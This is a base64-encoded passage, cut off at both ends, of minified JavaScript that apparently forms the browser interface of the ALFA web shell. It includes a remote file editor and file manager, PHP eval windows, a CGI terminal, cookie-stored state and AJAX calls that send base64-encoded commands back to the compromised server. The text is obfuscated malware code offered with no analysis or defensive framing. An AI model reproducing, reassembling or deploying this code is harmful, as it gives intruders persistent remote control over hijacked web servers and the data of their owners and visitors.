pe3ZhciB0PWUub3B0aW9uc1tlLnNlbGVjdGVkSW5kZXhdLnZhbHVlLGk9ZS5nZXRBdHRyaWJ1dGUoImJhc2UiKSxsPWFsZmFfYWNlX2VkaXRvcnMuZWRpdG9yOyJldmFsIj09aSYmKGw9YWxmYV9hY2VfZWRpdG9ycy5ldmFsKTt2YXIgbz1lLmdldEF0dHJpYnV0ZSgiYWNlX2lkIik7ImxhbmciPT1hP2xbb10uc2Vzc2lvbi5zZXRNb2RlKCJhY2UvbW9kZS8iK3QpOiJ0aGVtZSI9PWEmJmxbb10uc2V0VGhlbWUoImFjZS90aGVtZS8iK3QpLHNldENvb2tpZSgiYWxmYV9hY2VfIithKyJfIitpLHQsMjAxMil9ZnVuY3Rpb24gYWxmYUFjZUNoYW5nZVdyYXBNb2RlKGUsYSl7dmFyIHQ9YWxmYV9hY2VfZWRpdG9ycy5lZGl0b3I7ImV2YWwiPT1hJiYodD1hbGZhX2FjZV9lZGl0b3JzLmV2YWwpO3ZhciBpPWUuZ2V0QXR0cmlidXRlKCJhY2VfaWQiKTtlLmNoZWNrZWQ/dFtpXS5zZXNzaW9uLnNldFVzZVdyYXBNb2RlKCEwKTp0W2ldLnNlc3Npb24uc2V0VXNlV3JhcE1vZGUoITEpfWZ1bmN0aW9uIGFsZmFBY2VDaGFuZ2VGb250U2l6ZShlLGEsdCl7dmFyIGk9YWxmYV9hY2VfZWRpdG9ycy5lZGl0b3I7ImV2YWwiPT1lJiYoaT1hbGZhX2FjZV9lZGl0b3JzLmV2YWwpO3ZhciBsPXQuZ2V0QXR0cmlidXRlKCJhY2VfaWQiKSxvPWlbbF0uZ2V0Rm9udFNpemUoKTsiKyI9PWE/KytvOi0tbyxpW2xdLnNldEZvbnRTaXplKG8pLHNldENvb2tpZSgiYWxmYV9hY2VfZm9udHNpemVfIitlLG8sMjAxMil9ZnVuY3Rpb24gc2V0Q29va2llKGUsYSx0KXt2YXIgaT1uZXcgRGF0ZTtpLnNldFRpbWUoaS5nZXRUaW1lKCkrMjQqdCo2MCo2MCoxZTMpO3ZhciBsPSJleHBpcmVzPSIraS50b1VUQ1N0cmluZygpO2RvY3VtZW50LmNvb2tpZT1lKyI9IithKyI7IitsKyI7cGF0aD0vIn1mdW5jdGlvbiBnZXRDb29raWUoZSl7dmFyIGE9KCI7ICIrZG9jdW1lbnQuY29va2llKS5zcGxpdCgiOyAiK2UrIj0iKTtpZigyPT1hLmxlbmd0aClyZXR1cm4gYS5wb3AoKS5zcGxpdCgiOyIpLnNoaWZ0KCl9ZnVuY3Rpb24gZWRpdG9yQ2xvc2UoZSl7aWYoZC5ib2R5LnN0eWxlLm92ZXJmbG93PSJ2aXNpYmxlIixlbGVtPSQoZSksZWxlbS5zZXRBdHRyaWJ1dGUoImNsYXNzIiwiZWRpdG9yLWFuaW0tY2xvc2UiKSwiZWRpdG9yIj09ZSl7aWYoaXNfbWluaW1pemVkPSExLG51bGwhPWFsZmFfYWNlX2VkaXRvcnMuZWRpdG9yJiZudWxsIT1hbGZhX2FjZV9lZGl0b3JzLmVkaXRvcil7Zm9yKHZhciBhIGluIGFsZmFfYWNlX2VkaXRvcnMuZWRpdG9yKWFsZmFfYWNlX2VkaXRvcnMuZWRpdG9yW2FdLmRlc3Ryb3koKTthbGZhX2FjZV9lZGl0b3JzLmVkaXRvcj1udWxsLGQucXVlcnlTZWxlY3RvcigiLmVkaXRvci10YWJzIikuaW5uZXJIVE1MPSIiLGQucXVlcnlTZWxlY3RvcigiLmVkaXRvci1jb250ZW50LWhvbGRlciIpLmlubmVySFRNTD0iIn19ZWxzZSBpZigiY2dpbG9hZGVyIj09ZSlwaHBfdGVtcmluYWxfdXNpbmdfY2dpJiYoZC5xdWVyeVNlbGVjdG9yKCIudGVybWluYWwtdGFicyIpLmlubmVySFRNTD0iIixkLnF1ZXJ5U2VsZWN0b3IoIi50ZXJtaW5hbC1jb250ZW50cyIpLmlubmVySFRNTD0iIikscGhwX3RlbXJpbmFsX3VzaW5nX2NnaT0hMSxjZ2lfaXNfbWluaW1pemVkPSExO2Vsc2UgaWYoIm9wdGlvbnNfd2luZG93Ij09ZSl7aWYob3B0aW9uc193aW5kb3dfaXNfbWluaW1pemVkPSExLG51bGwhPWFsZmFfYWNlX2VkaXRvcnMuZXZhbCl7Zm9yKHZhciBhIGluIGFsZmFfYWNlX2VkaXRvcnMuZXZhbClhbGZhX2FjZV9lZGl0b3JzLmV2YWxbYV0uZGVzdHJveSgpO2FsZmFfYWNlX2VkaXRvcnMuZXZhbD1udWxsLGQucXVlcnlTZWxlY3RvckFsbCgiLnBocC1ldmFscyIpLmZvckVhY2goZnVuY3Rpb24oZSl7ZS5yZW1vdmVBdHRyaWJ1dGUoImFjZSIpfSl9fWVsc2UiZGF0YWJhc2Vfd2luZG93Ij09ZSYmKGRhdGFiYXNlX3dpbmRvd19pc19taW5pbWl6ZWQ9ITEpO3NldFRpbWVvdXQoZnVuY3Rpb24oKXtlbGVtPSQoZSksZWxlbS5yZW1vdmVBdHRyaWJ1dGUoImNsYXNzIiksZWxlbS5zdHlsZS5kaXNwbGF5PSJub25lIiwib3B0aW9uc193aW5kb3ciPT1lJiYoZWxlbS5xdWVyeVNlbGVjdG9yKCIub3B0aW9uc190YWIiKS5pbm5lckhUTUw9IiIsZWxlbS5xdWVyeVNlbGVjdG9yKCIub3B0aW9uc19jb250ZW50IikuaW5uZXJIVE1MPSIiKX0sMWUzKSxkLmJvZHkuc3R5bGUub3ZlcmZsb3c9InZpc2libGUifWZ1bmN0aW9uIHBvcHVwV2luZG93QmFja1Bvc2l0aW9uKCl7dmFyIGU9e2NnaWxvYWRlcjpjZ2lfaXNfbWluaW1pemVkLG9wdGlvbnNfd2luZG93Om9wdGlvbnNfd2luZG93X2lzX21pbmltaXplZCxkYXRhYmFzZV93aW5kb3c6ZGF0YWJhc2Vfd2luZG93X2lzX21pbmltaXplZCxlZGl0b3I6aXNfbWluaW1pemVkfSxhPVtdO2Zvcih2YXIgdCBpbiBlKWVbdF0mJmEucHVzaCh0KTsxPT1hLmxlbmd0aD8kKGFbMF0rIi1taW5pbWl6ZWQiKS5zdHlsZS50b3A9IjMwJSI6Mj09YS5sZW5ndGg/KCQoYVswXSsiLW1pbmltaXplZCIpLnN0eWxlLnRvcD0iMjAlIiwkKGFbMV0rIi1taW5pbWl6ZWQiKS5zdHlsZS50b3A9IjUwJSIpOjM9PWEubGVuZ3RoPygkKGFbMF0rIi1taW5pbWl6ZWQiKS5zdHlsZS50b3A9IjAlIiwkKGFbMV0rIi1taW5pbWl6ZWQiKS5zdHlsZS50b3A9IjMwJSIsJChhWzJdKyItbWluaW1pemVkIikuc3R5bGUudG9wPSI2MCUiKTo0PT1hLmxlbmd0aCYmKCQoYVswXSsiLW1pbmltaXplZCIpLnN0eWxlLnRvcD0iMCUiLCQoYVsxXSsiLW1pbmltaXplZCIpLnN0eWxlLnRvcD0iMzAlIiwkKGFbMl0rIi1taW5pbWl6ZWQiKS5zdHlsZS50b3A9IjU1JSIsJChhWzNdKyItbWluaW1pemVkIikuc3R5bGUudG9wPSI4MCUiKX1mdW5jdGlvbiBzaG93RWRpdG9yKGUpe2lmKCQoZSkuc2V0QXR0cmlidXRlKCJjbGFzcyIsImVkaXRvci1hbmltLXNob3ciKSwkKGUrIi1taW5pbWl6ZWQiKS5zZXRBdHRyaWJ1dGUoImNsYXNzIiwibWluaW1pemVkLWhpZGUiKSwiZWRpdG9yIj09ZSlpc19taW5pbWl6ZWQ9ITE7ZWxzZSBpZigiY2dpbG9hZGVyIj09ZSljZ2lfaXNfbWluaW1pemVkPSExO2Vsc2UgaWYoIm9wdGlvbnNfd2luZG93Ij09ZSl7b3B0aW9uc193aW5kb3dfaXNfbWluaW1pemVkPSExO3ZhciBhPWQucXVlcnlTZWxlY3RvcigiI29wdGlvbnNfd2luZG93IC5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5vcHRpb25zX3RhYiAudGFiX25hbWUudGFiX2lzX2FjdGl2ZS50YWItaXMtZG9uZSIpO251bGwhPWEmJmEuY2xhc3NMaXN0LnJlbW92ZSgidGFiLWlzLWRvbmUiKX1lbHNlImRhdGFiYXNlX3dpbmRvdyI9PWUmJihkYXRhYmFzZV93aW5kb3dfaXNfbWluaW1pemVkPSExKTtwb3B1cFdpbmRvd0JhY2tQb3NpdGlvbigpLGQuYm9keS5zdHlsZS5vdmVyZmxvdz0iaGlkZGVuIn1mdW5jdGlvbiBlZGl0b3JNaW5pbWl6ZShlKXskKGUpLnNldEF0dHJpYnV0ZSgiY2xhc3MiLCJlZGl0b3ItYW5pbS1taW5pbWl6ZSIpLCQoZSsiLW1pbmltaXplZCIpLnNldEF0dHJpYnV0ZSgiY2xhc3MiLCJtaW5pbWl6ZWQtc2hvdyIpLCJlZGl0b3IiPT1lP2lzX21pbmltaXplZD0hMDoiY2dpbG9hZGVyIj09ZT9jZ2lfaXNfbWluaW1pemVkPSEwOiJvcHRpb25zX3dpbmRvdyI9PWU/b3B0aW9uc193aW5kb3dfaXNfbWluaW1pemVkPSEwOiJkYXRhYmFzZV93aW5kb3ciPT1lJiYoZGF0YWJhc2Vfd2luZG93X2lzX21pbmltaXplZD0hMCkscG9wdXBXaW5kb3dCYWNrUG9zaXRpb24oKSxkLmJvZHkuc3R5bGUub3ZlcmZsb3c9InZpc2libGUifWZ1bmN0aW9uIGNsZWFyRWRpdG9ySGlzdG9yeSgpe2lmKGNvbmZpcm0oIkFyZSB1IFN1cmU/IikpZm9yKHZhciBlIGluIGVkaXRvcl9maWxlcyllIT1lZGl0b3JfY3VycmVudF9maWxlJiZyZW1vdmVIaXN0b3J5KGUpfWZ1bmN0aW9uIGlzQXJjaGl2ZShlKXt2YXIgYSx0PVsiLnRhci5neiIsIi50YXIuYnoyIiwiLnRhci56IiwiLnRhci54eiIsIi56aXAiLCIuemlweCIsIi43eiIsIi5iejIiLCIuZ3oiLCIucmFyIiwiLnRhciIsIi50Z3oiXTtmb3IoYSBpbiB0KWlmKG5ldyBSZWdFeHAoIiguKikoIit0W2FdLnJlcGxhY2UoL1wuL2csIlxcLiIpKyIpJCIsImdpIikudGVzdChlKSlyZXR1cm4hMDtyZXR1cm4hMX1mdW5jdGlvbiBlZGl0b3IoZSxhLHQsaSxsLG8pe2lmKCJkaXIiPT1vJiYiLi4iPT1lKXJldHVybiExO2lmKCJkb3dubG9hZCI9PWEpcmV0dXJuIGcoIkZpbGVzVG9vbHMiLGksZSwiZG93bmxvYWQiKSwhMTt2YXIgcj0iIixuPSIiLHM9IiIsYz0iIixmPWQubWYuYy52YWx1ZSxfPSEwO2lmKGU9ZS50cmltKCksMD09T2JqZWN0LmtleXMoZWRpdG9yX2ZpbGVzKS5sZW5ndGgpe3ZhciB1PWdldENvb2tpZSgiYWxmYV9oaXN0b3J5X2ZpbGVzIik7dHJ5e2Zvcih2YXIgcCBpbiB1PWF0b2IodSksZWRpdG9yX2ZpbGVzPUpTT04ucGFyc2UodSkpaW5zZXJ0VG9IaXN0b3J5KHAsZWRpdG9yX2ZpbGVzW3BdLmZpbGUsMCxlZGl0b3JfZmlsZXNbcF0udHlwZSl9Y2F0Y2goZSl7fX1pZigicGhhcjovLyI9PWUuc3Vic3RyKDAsNykpZj1jXztlbHNlIGlmKC0xIT1lLmluZGV4T2YoIi8iKSl7dmFyIG09ZS5zcGxpdCgiLyIpO2U9bVttLmxlbmd0aC0xXSxkZWxldGUgbVttLmxlbmd0aC0xXSxmPW0uam9pbigiLyIpLGlzbGludXgmJihmPSIvIitmKX1pZih2b2lkIDA9PT1vJiYobz0iIiksdm9pZCAwIT09aSYmbnVsbCE9aSYmMCE9aS5sZW5ndGgmJihmPWkudHJpbSgpKSwiYXV0byI9PWEmJmlzQXJjaGl2ZShlKSlyZXR1cm4gYWxmYVN5bmNNZW51VG9PcHQoZSwhMCksITE7dHJ5e2Zvcih2YXIgdiBpbiBlZGl0b3JfZmlsZXMpaWYoZWRpdG9yX2ZpbGVzW3ZdLmZpbGU9PWRlY29kZVVSSUNvbXBvbmVudChlKSYmZWRpdG9yX2ZpbGVzW3ZdLnB3ZC5yZXBsYWNlKC9cLy9nLCIiKT09Zi5yZXBsYWNlKC9cLy9nLCIiKSl7Xz0hMSxsPXY7YnJlYWt9fWNhdGNoKGUpe31pZihlZGl0b3JfZXJyb3I9ITAsdm9pZCAwIT09dCYmMCE9dC5sZW5ndGgmJm51bGwhPXQmJihyPWFsZmFiNjQodCkpLHZvaWQgMCE9PWwmJm51bGwhPWwmJjAhPWwubGVuZ3RoKW49YWxmYWI2NChsKSxzPWwsYz1sLnJlcGxhY2UoImZpbGVfIiwiIik7ZWxzZXt2YXIgaD0iZmlsZV8iKyhjPWdldFJhbmRvbSgxMCkpO249YWxmYWI2NChoKSxzPWh9dmFyIGI9ImVkaXRvcl9zb3VyY2VfIitjO2lmKG51bGw9PSQoYikpe3RyeXtkLnF1ZXJ5U2VsZWN0b3IoIi5lZGl0b3ItY29udGVudHMuZWRpdG9yLWNvbnRlbnQtYWN0aXZlIikuY2xhc3NMaXN0LnJlbW92ZSgiZWRpdG9yLWNvbnRlbnQtYWN0aXZlIil9Y2F0Y2goZSl7fXRyeXtkLnF1ZXJ5U2VsZWN0b3IoIi5lZGl0b3ItdGFicyAuZWRpdG9yLXRhYi1uYW1lLmVkaXRvci10YWItYWN0aXZlIikuY2xhc3NMaXN0LnJlbW92ZSgiZWRpdG9yLXRhYi1hY3RpdmUiKX1jYXRjaChlKXt9ZC5xdWVyeVNlbGVjdG9yKCIuZWRpdG9yLXRhYnMiKS5pbnNlcnRBZGphY2VudEhUTUwoImJlZm9yZWVuZCIsIjxkaXYgb25jbGljaz0nZWRpdG9yVGFiQ29udHJvbGxlcih0aGlzKTsnIG9wdF9pZD0nIitiKyInIGlkPSd0YWJfIitiKyInIGNsYXNzPSdlZGl0b3ItdGFiLW5hbWUgZWRpdG9yLXRhYi1hY3RpdmUnPiIrZGVjb2RlVVJJQ29tcG9uZW50KGUpKyIgPGltZyBvcHRfaWQ9JyIrYisiJyBvbmNsaWNrPSdjbG9zZUVkaXRvckNvbnRlbnQodGhpcyxldmVudCk7cmV0dXJuIGZhbHNlOycgdGl0bGU9J1tjbG9zZV0nIHNyYz0naHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2RlbGV0ZS5zdmcnPjwvZGl2PiIpLGQucXVlcnlTZWxlY3RvcigiLmVkaXRvci1jb250ZW50LWhvbGRlciIpLmluc2VydEFkamFjZW50SFRNTCgiYWZ0ZXJiZWdpbiIsIjxkaXYgY2xhc3M9J2VkaXRvci1jb250ZW50cyBlZGl0b3ItY29udGVudC1hY3RpdmUnIGlkPSciK2IrIic+PC9kaXY+Iil9cmV0dXJuIDA9PWlzX21pbmltaXplZCYmIm5vbmUiPT0kKCJlZGl0b3IiKS5zdHlsZS5kaXNwbGF5PygkKCJlZGl0b3IiKS5zdHlsZS5kaXNwbGF5PSJibG9jayIsc2hvd0VkaXRvcigiZWRpdG9yIiksYWxmYWxvYWRlcihiLCJibG9jayIpKTooaXNfbWluaW1pemVkJiZzaG93RWRpdG9yKCJlZGl0b3IiKSxudWxsIT0kKGIpP2FsZmFsb2FkZXIoYiwiYmxvY2siKTooYWxmYWxvYWRlcigiZWRpdG9yIiwiYmxvY2siKSxiPSJlZGl0b3IiKSksX0FqYXgoZC5VUkwsImE9IithbGZhYjY0KCJGaWxlc1Rvb2xzIikrIiZjPSIrYWxmYWI2NChmKSsiJmFsZmExPSIrYWxmYWI2NChlKSsiJmFsZmEyPSIrYWxmYWI2NChhKSsiJmFsZmEzPSIrcisiJmFsZmE0PSIrbisiJmFsZmE1PSZhbGZhNj0mYWxmYTc9JmFsZmE4PSZhbGZhOT0mYWxmYTEwPSYmYWpheD0iK2FsZmFiNjQoInRydWUiKSxmdW5jdGlvbih0LGkpe3ZhciBsPSQoInRhYl8iK2kpO3RyeXtudWxsIT1sJiYoKC0xPT1sLmNsYXNzTGlzdC52YWx1ZS5pbmRleE9mKCJlZGl0b3ItdGFiLWFjdGl2ZSIpfHxpc19taW5pbWl6ZWQpJiYobC5jbGFzc0xpc3QuYWRkKCJ0YWItaXMtZG9uZSIpLGFsZmFTaG93Tm90aWZpY2F0aW9uKCJwcm9jY2VzcyBpcyBkb25lLi4uIiwiRWRpdG9yOiAiK2wuaW5uZXJUZXh0KSksaXNfbWluaW1pemVkJiZhbGZhVXBkYXRlT3B0aW9uc0JhZGdlKCJlZGl0b3IiKSl9Y2F0Y2godCl7fWlmKCJub25lIj09JCgiZWRpdG9yIikuc3R5bGUuZGlzcGxheT9hbGZhTG9hZGVyT25Ub3AoIm5vbmUiKTphbGZhbG9hZGVyKGksIm5vbmUiKSxyLmxlbmd0aD4wJiYiZWRpdCI9PWEpcmV0dXJuIGlzX21pbmltaXplZHx8bnVsbCE9bCYmLTEhPWwuY2xhc3NMaXN0LnZhbHVlLmluZGV4T2YoImVkaXRvci10YWItYWN0aXZlIikmJmFsZmFTaG93Tm90aWZpY2F0aW9uKCJzYXZlZC4uLiEiLCJFZGl0b3IiKSwhMTtpZihudWxsIT0kKGkpJiYoJChpKS5pbm5lckhUTUw9dCksaXNfbWluaW1pemVkJiZhbGZhU2hvd05vdGlmaWNhdGlvbigicHJvY2Nlc3MgaXMgZG9uZS4uLiIsIkVkaXRvcjogIitkZWNvZGVVUklDb21wb25lbnQoZSkpLCQoImVkaXRvciIpLnN0eWxlLmRpc3BsYXk9ImJsb2NrIixldmFsSlModCksYWxmYUxvYWRBY2VFZGl0b3IoInZpZXdfbWxfY29udGVudCIpLCJkZWxldGUiIT1hJiZlZGl0b3JfZXJyb3Ipe3ZhciBjPWQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgiaXNfYWN0aXZlIik7MCE9Yy5sZW5ndGgmJihjWzBdLmNsYXNzTmFtZT0iZmlsZS1ob2xkZXIiKSxuPXMsZT1kZWNvZGVVUklDb21wb25lbnQoZSksIWVkaXRvcl9maWxlc1tuXSYmXz8oZWRpdG9yX2ZpbGVzW25dPXtmaWxlOmUscHdkOmYsdHlwZTpvfSxpbnNlcnRUb0hpc3RvcnkobixlLCIgaXNfYWN0aXZlIixvKSwibWtmaWxlIj09YSYmZygiRmlsZXNNYW4iLG51bGwpKTokKG4pLnBhcmVudE5vZGUuY2xhc3NOYW1lKz0iIGlzX2FjdGl2ZSJ9ZC5ib2R5LnN0eWxlLm92ZXJmbG93PSJoaWRkZW4iLGQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgiZmlsZXN0b29scyIpWzBdLnNldEF0dHJpYnV0ZSgiZmlkIixuKSxlZGl0b3JfZmlsZXNbbl0mJihkLmdldEVsZW1lbnRzQnlDbGFzc05hbWUoImVkaXRvci1wYXRoIilbMF0uaW5uZXJIVE1MPShlZGl0b3JfZmlsZXNbbl0ucHdkKyIvIitlZGl0b3JfZmlsZXNbbl0uZmlsZSkucmVwbGFjZSgvXC9cLy9nLCIvIikpLGVkaXRvcl9jdXJyZW50X2ZpbGU9bix1cGRhdGVDb29raWVFZGl0b3IoKX0sITEsYiksITF9ZnVuY3Rpb24gYWxmYUxvYWRBY2VFZGl0b3IoZSxhKXtpZih2b2lkIDA9PT1hJiYoYT0hMSksbnVsbD09JCgiYWxmYS1hY2UtcGx1Z2luIikpe3ZhciB0PWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3JldHVybiB0LnNyYz0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvYWNlLzEuNC4xMS9hY2UuanMiLHQuaWQ9ImFsZmEtYWNlLXBsdWdpbiIsdC5vbmxvYWQ9ZnVuY3Rpb24oKXthbGZhTG9hZEFjZUVkaXRvcihlLGEpfSxkLmJvZHkuYXBwZW5kQ2hpbGQodCksITF9dHJ5eyJhbGxvdyI9PSQoZSkuZ2V0QXR0cmlidXRlKCJtb2RlIikmJihhPSExKX1jYXRjaChlKXt9aWYoInZpZXdfbWxfY29udGVudCI9PWUpe251bGw9PWFsZmFfYWNlX2VkaXRvcnMuZWRpdG9yJiYoYWxmYV9hY2VfZWRpdG9ycy5lZGl0b3I9e30pO3ZhciBpPWdldENvb2tpZSgiYWxmYV9hY2VfdGhlbWVfZWRpdG9yIiksbD1nZXRDb29raWUoImFsZmFfYWNlX2ZvbnRzaXplX2VkaXRvciIpO3ZvaWQgMD09PWkmJihpPSJ0ZXJtaW5hbCIpLDA9PWkubGVuZ3RoJiYoaT0idGVybWluYWwiKSxkLnF1ZXJ5U2VsZWN0b3JBbGwoIi5lZGl0b3ItYWNlLWNvbnRyb2xsZXIiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2lmKG51bGwhPWUuZ2V0QXR0cmlidXRlKCJhY2UiKSlyZXR1cm4hMTtlLnNldEF0dHJpYnV0ZSgiYWNlIiwib2siKTt2YXIgdD1nZXRSYW5kb20oMTApLG89ZS5xdWVyeVNlbGVjdG9yKCIudmlld19tbF9jb250ZW50Iik7by5zZXRBdHRyaWJ1dGUoImlkIiwidmlld19tbF9jb250ZW50LSIrdCksYWxmYV9hY2VfZWRpdG9ycy5lZGl0b3JbInZpZXdfbWxfY29udGVudC0iK3RdPWFjZS5lZGl0KG8pLGFsZmFfYWNlX2VkaXRvcnMuZWRpdG9yWyJ2aWV3X21sX2NvbnRlbnQtIit0XS5zZXRSZWFkT25seShhKSxhbGZhX2FjZV9lZGl0b3JzLmVkaXRvclsidmlld19tbF9jb250ZW50LSIrdF0uc2V0U2hvd1ByaW50TWFyZ2luKCExKSxhbGZhX2FjZV9lZGl0b3JzLmVkaXRvclsidmlld19tbF9jb250ZW50LSIrdF0uc2V0VGhlbWUoImFjZS90aGVtZS8iK2kpLGFsZmFfYWNlX2VkaXRvcnMuZWRpdG9yWyJ2aWV3X21sX2NvbnRlbnQtIit0XS5zZXNzaW9uLnNldE1vZGUoImFjZS9tb2RlL3BocCIpLGFsZmFfYWNlX2VkaXRvcnMuZWRpdG9yWyJ2aWV3X21sX2NvbnRlbnQtIit0XS5zZXNzaW9uLnNldFVzZVdyYXBNb2RlKCEwKSxhbGZhX2FjZV9lZGl0b3JzLmVkaXRvclsidmlld19tbF9jb250ZW50LSIrdF0uY29tbWFuZHMuYWRkQ29tbWFuZCh7bmFtZToic2F2ZSIsYmluZEtleTp7d2luOiJDdHJsLVMiLG1hYzoiQ21kLVMifSxleGVjOmZ1bmN0aW9uKGUpe2QucXVlcnlTZWxlY3RvcigiI2FjZS1zYXZlLWJ0bi0iK3QpLmNsaWNrKCl9fSksZS5xdWVyeVNlbGVjdG9yKCJzZWxlY3QuYWNlLXRoZW1lLXNlbGVjdG9yIikudmFsdWU9aSxlLnF1ZXJ5U2VsZWN0b3JBbGwoIi5hY2UtY29udHJvbGVyIikuZm9yRWFjaChmdW5jdGlvbihlKXtlLnNldEF0dHJpYnV0ZSgiYWNlX2lkIiwidmlld19tbF9jb250ZW50LSIrdCksLTEhPWUuY2xhc3NMaXN0LnZhbHVlLmluZGV4T2YoImFjZS1zYXZlLWJ0biIpJiZlLnNldEF0dHJpYnV0ZSgiaWQiLCJhY2Utc2F2ZS1idG4tIit0KX0pLHZvaWQgMCE9PWwmJnNldFRpbWVvdXQoZnVuY3Rpb24oKXthbGZhX2FjZV9lZGl0b3JzLmVkaXRvclsidmlld19tbF9jb250ZW50LSIrdF0uc2V0Rm9udFNpemUocGFyc2VJbnQobCkpfSwxZTMpfSl9ZWxzZXtudWxsPT1hbGZhX2FjZV9lZGl0b3JzLmV2YWwmJihhbGZhX2FjZV9lZGl0b3JzLmV2YWw9e30pO2k9Z2V0Q29va2llKCJhbGZhX2FjZV90aGVtZV9ldmFsIiksbD1nZXRDb29raWUoImFsZmFfYWNlX2ZvbnRzaXplX2V2YWwiKTt2b2lkIDA9PT1pJiYoaT0idGVybWluYWwiKSwwPT1pLmxlbmd0aCYmKGk9InRlcm1pbmFsIiksZC5xdWVyeVNlbGVjdG9yQWxsKCIucGhwLWV2YWxzIikuZm9yRWFjaChmdW5jdGlvbihlKXtpZihudWxsIT1lLmdldEF0dHJpYnV0ZSgiYWNlIikpcmV0dXJuITE7ZS5zZXRBdHRyaWJ1dGUoImFjZSIsIm9rIik7dmFyIHQ9ZS5xdWVyeVNlbGVjdG9yKCIucGhwLWV2YWxzLWFjZSIpLG89Z2V0UmFuZG9tKDEwKTt0LnNldEF0dHJpYnV0ZSgiaWQiLCJwaHBldmFsLSIrbyksYWxmYV9hY2VfZWRpdG9ycy5ldmFsWyJwaHBldmFsLSIrb109YWNlLmVkaXQodCksYWxmYV9hY2VfZWRpdG9ycy5ldmFsWyJwaHBldmFsLSIrb10uc2V0UmVhZE9ubHkoYSksYWxmYV9hY2VfZWRpdG9ycy5ldmFsWyJwaHBldmFsLSIrb10uc2V0U2hvd1ByaW50TWFyZ2luKCExKSxhbGZhX2FjZV9lZGl0b3JzLmV2YWxbInBocGV2YWwtIitvXS5zZXRUaGVtZSgiYWNlL3RoZW1lLyIraSksYWxmYV9hY2VfZWRpdG9ycy5ldmFsWyJwaHBldmFsLSIrb10uc2Vzc2lvbi5zZXRNb2RlKCJhY2UvbW9kZS9waHAiKSxhbGZhX2FjZV9lZGl0b3JzLmV2YWxbInBocGV2YWwtIitvXS5zZXNzaW9uLnNldFVzZVdyYXBNb2RlKCEwKSxlLnF1ZXJ5U2VsZWN0b3IoInNlbGVjdC5hY2UtdGhlbWUtc2VsZWN0b3IiKS52YWx1ZT1pLGUucXVlcnlTZWxlY3RvckFsbCgiLmFjZS1jb250cm9sZXIiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2Uuc2V0QXR0cmlidXRlKCJhY2VfaWQiLCJwaHBldmFsLSIrbyl9KSx2b2lkIDAhPT1sJiZzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7YWxmYV9hY2VfZWRpdG9ycy5ldmFsWyJwaHBldmFsLSIrb10uc2V0Rm9udFNpemUocGFyc2VJbnQobCkpfSwxZTMpfSl9fWZ1bmN0aW9uIGluc2VydFRvSGlzdG9yeShlLGEsdCxpKXt2YXIgbD0iIjt0JiYwIT10JiYobD10KTt2YXIgbz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJkaXYiKTtvLmlubmVySFRNTD0iPGRpdiBpZD0nIitlKyInIGNsYXNzPSdoaXN0b3J5JyBvbkNsaWNrPSdyZW9wZW4odGhpcyk7Jz48ZGl2IGNsYXNzPSdlZGl0b3ItaWNvbic+Iitsb2FkVHlwZShhLGksZSkrIjwvZGl2PjxkaXYgY2xhc3M9J2VkaXRvci1maWxlLW5hbWUnPiIrYSsiPC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0naGlzdG9yeS1jbG9zZScgb25DbGljaz0ncmVtb3ZlSGlzdG9yeShcIiIrZSsiXCIpOyc+WDwvZGl2PiIsby5jbGFzc05hbWU9ImZpbGUtaG9sZGVyIitsLG8uYWRkRXZlbnRMaXN0ZW5lcigibW91c2VvdmVyIixmdW5jdGlvbigpe3NldEVkaXRvclRpdGxlKGUsIm92ZXIiKSx0aGlzLmNoaWxkTm9kZXNbMV0uc3R5bGUub3BhY2l0eT0iMSJ9KSxvLmFkZEV2ZW50TGlzdGVuZXIoIm1vdXNlb3V0IixmdW5jdGlvbigpe3NldEVkaXRvclRpdGxlKGUsIm91dCIpLHRoaXMuY2hpbGROb2Rlc1sxXS5zdHlsZS5vcGFjaXR5PSIwIn0pO3ZhciByPWQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgiaGlzdG9yeS1saXN0IilbMF07ci5pbnNlcnRCZWZvcmUobyxyLmZpcnN0Q2hpbGQpfWZ1bmN0aW9uIGxvYWRUeXBlKGUsYSx0KXsibm9uZSI9PWEmJl9BamF4KGQuVVJMLCJhPSIrYWxmYWI2NCgiY2hlY2tmaWxldHlwZSIpKyImcGF0aD0iK2FsZmFiNjQoZWRpdG9yX2ZpbGVzW3RdLnB3ZCkrIiZhcmc9IithbGZhYjY0KGVkaXRvcl9maWxlc1t0XS5maWxlKSxmdW5jdGlvbihlKXskKHQpLmlubmVySFRNTD0iPGRpdiBjbGFzcz0nZWRpdG9yLWljb24nPiIrbG9hZFR5cGUoZWRpdG9yX2ZpbGVzW3RdLmZpbGUsZSx0KSsiPC9kaXY+PGRpdiBjbGFzcz0nZWRpdG9yLWZpbGUtbmFtZSc+IitlZGl0b3JfZmlsZXNbdF0uZmlsZSsiPC9kaXY+IixlZGl0b3JfZmlsZXNbdF0udHlwZT1lfSk7aWYoImZpbGUiPT1hKXthPShhPWUuc3BsaXQoIi4iKSlbYS5sZW5ndGgtMV0udG9Mb3dlckNhc2UoKTstMT09WyJqc29uIiwicHB0IiwicHB0eCIsInhscyIsInhsc3giLCJtc2kiLCJjb25maWciLCJjZ2kiLCJwbSIsImMiLCJjcHAiLCJjcyIsImphdmEiLCJhc3B4IiwiYXNwIiwiZGIiLCJ0dGYiLCJlb3QiLCJ3b2ZmIiwid29mZjIiLCJ3b2ZmIiwiY29uZiIsImxvZyIsImFwayIsImNhYiIsImJ6MiIsInRneiIsImRtZyIsIml6byIsImphciIsIjd6IiwiaXNvIiwicmFyIiwiYmF0Iiwic2giLCJhbGZhIiwiZ3oiLCJ0YXIiLCJwaHAiLCJwaHA0IiwicGhwNSIsInBodG1sIiwiaHRtbCIsInhodG1sIiwic2h0bWwiLCJodG0iLCJ6aXAiLCJwbmciLCJqcGciLCJqcGVnIiwiZ2lmIiwiYm1wIiwiaWNvIiwidHh0IiwianMiLCJyYiIsInB5IiwieG1sIiwiY3NzIiwic3FsIiwiaHRhY2Nlc3MiLCJw